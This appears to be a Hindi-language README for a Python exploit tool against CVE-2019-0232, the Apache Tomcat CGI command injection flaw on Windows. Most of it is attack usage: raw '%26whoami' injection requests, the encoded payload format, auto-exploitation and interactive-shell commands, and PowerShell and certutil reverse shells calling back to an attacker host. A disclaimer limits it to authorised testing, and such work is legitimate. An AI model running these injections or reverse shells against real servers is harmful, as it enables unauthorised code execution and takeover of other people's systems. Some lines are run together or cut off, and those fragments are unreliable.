
Apache Tomcat CGI Servlet RCE (Windows)
केवल अधिकृत CTF / प्रवेश परीक्षण के लिए शैक्षिक PoC।
इसे उन सिस्टमों के खिलाफ चलाना जो आपके स्वामित्व में नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है।
CVE-2019-0232 विंडोज पर Apache Tomcat में एक दूरस्थ कोड निष्पादन भेद्यता है।
जब CGI सर्वलेट में enableCmdLineArguments=true (पैच से पहले विंडोज पर डिफ़ॉल्ट) होता है, Tomcat HTTP क्वेरी स्ट्रिंग को सीधे Runtime.exec() के माध्यम से CGI बैच फ़ाइल को कमांड-लाइन तर्क के रूप में भेजता है। विंडोज पर, Runtime.exec() कॉल को cmd.exe /c के साथ लपेटता है, जिससे उन तर्कों के अंदर & कमांड विभाजक सक्रिय हो जाता है।
एक हमलावर URL में & (URL-एन्कोडेड %26) शामिल करके दूसरा OS कमांड इंजेक्ट कर सकता है:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-डिकोड → cmd.exe /c cmd.bat &whoami
# cmd.exe & को देखता है और cmd.bat के बाहर निकलने के बाद whoami चलाता है
| शाखा | भेद्य सीमा | ठीक किया गया |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
आवश्यकता: conf/web.xml में enableCmdLineArguments=true (पैच से पहले विंडोज पर डिफ़ॉल्ट)।
-w)--cmd)certutil स्टेजर (फ़ॉलबैक)System32, Windows, Wbem, PowerShell सेट करता है ताकि whoami, ipconfig, netstat, powershell.exe बिना पूर्ण पथ के काम करेंgit clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ आवश्यक है।
python3 cve_2019_0232.py -t <TARGET_URL> [options]
ऑटो मोड — स्क्रिप्ट को सब कुछ खोजने दें:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
ज्ञात एंडपॉइंट पर एकल कमांड:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
इंटरैक्टिव शेल लूप:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
पूर्ण ऑटो चेन → रिवर्स शेल (अलग nc की आवश्यकता नहीं):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
स्क्रिप्ट --lport पर अपना स्वयं का TCP लिसनर खोलती है, PowerShell पेलोड फ़ायर करती है, और जब लक्ष्य कॉलबैक करता है तो आपको इंटरैक्टिव शेल में डाल देती है।
ज्ञात पथ पर PowerShell रिवर्स शेल:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
certutil स्टेजर (यदि PowerShell अवरुद्ध है):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
फ़ज़िंग के लिए कस्टम वर्डलिस्ट:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
बिना फ़ाइल एक्सटेंशन वाली प्रविष्टियाँ स्वचालित रूप से .bat और .cmd दोनों के रूप में जांची जाती हैं।
Burp Suite के माध्यम से रूट:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
प्रत्येक अनुरोध से पहले कच्चा इंजेक्शन URL दिखाएं:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL लक्ष्य आधार URL e.g. http://10.10.10.x:8080
path:
-p, --path PATH ज्ञात CGI स्क्रिप्ट पथ e.g. /cgi/cmd.bat
modes:
--auto पूर्ण चेन: enum → fuzz → interactive
--enum Tomcat संस्करण और CGI पथों की गणना करें
--fuzz सुलभ CGI स्क्रिप्ट एंडपॉइंट्स के लिए फ़ज़ करें
--cmd COMMAND एक कमांड चलाएं और आउटपुट प्रिंट करें
--interactive इंटरैक्टिव कमांड लूप (HTTP शेल)
--reverse-shell PowerShell रिवर्स शेल भेजें
reverse shell:
--lhost IP आपका लिसनर IP (HTB/OSCP के लिए tun0 का उपयोग करें)
--lport PORT आपका लिसनर पोर्ट (डिफ़ॉल्ट: 4444)
--shell-method {ps,certutil}
पेलोड प्रकार: ps (डिफ़ॉल्ट) या certutil स्टेजर
options:
-w, --wordlist FILE फ़ज़ करने के लिए अतिरिक्त CGI नाम (प्रति पंक्ति एक)
--threads N फ़ज़ थ्रेड्स (डिफ़ॉल्ट: 15)
--timeout N HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 10)
--proxy URL HTTP प्रॉक्सी e.g. http://127.0.0.1:8080
--no-ssl-verify TLS प्रमाणपत्र सत्यापन अक्षम करें
--show-url प्रत्येक अनुरोध से पहले पूर्ण इंजेक्शन URL प्रिंट करें
स्क्रिप्ट तीन चरणों में इंजेक्शन URL बनाती है:
PATH इंजेक्शन — आपके कमांड को एक समूह में लपेटता है जो पहले PATH सेट करता है:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo. एक खाली लाइन आउटपुट करता है, Tomcat के CGI हेडर पार्सर को संतुष्ट करता है ताकि प्रतिक्रिया निकाय दिखाई दे।
URL एन्कोडिंग — स्पेस + बन जाते हैं, विशेष वर्ण urllib.parse.quote के माध्यम से %XX बन जाते हैं।
इंजेक्शन बिंदु — एन्कोडेड समूह %26 (& विभाजक) के बाद रखा जाता है:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं है।
किसी भी सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।
2>&1--proxy http://127.0.0.1:8080 के माध्यम से ट्रैफ़िक रूट करें| फ़्लैग | विवरण |
|---|
--auto | गणना → फ़ज़ → इंटरैक्टिव शेल में जाएं |
--enum | केवल Tomcat संस्करण और CGI पथों की गणना करें |
--fuzz | सुलभ .bat/.cmd एंडपॉइंट्स के लिए फ़ज़ करें |
--cmd COMMAND | एकल कमांड निष्पादित करें |
--interactive | इंटरैक्टिव HTTP शेल लूप |
--reverse-shell | रिवर्स शेल उत्पन्न करें (--lhost आवश्यक है) |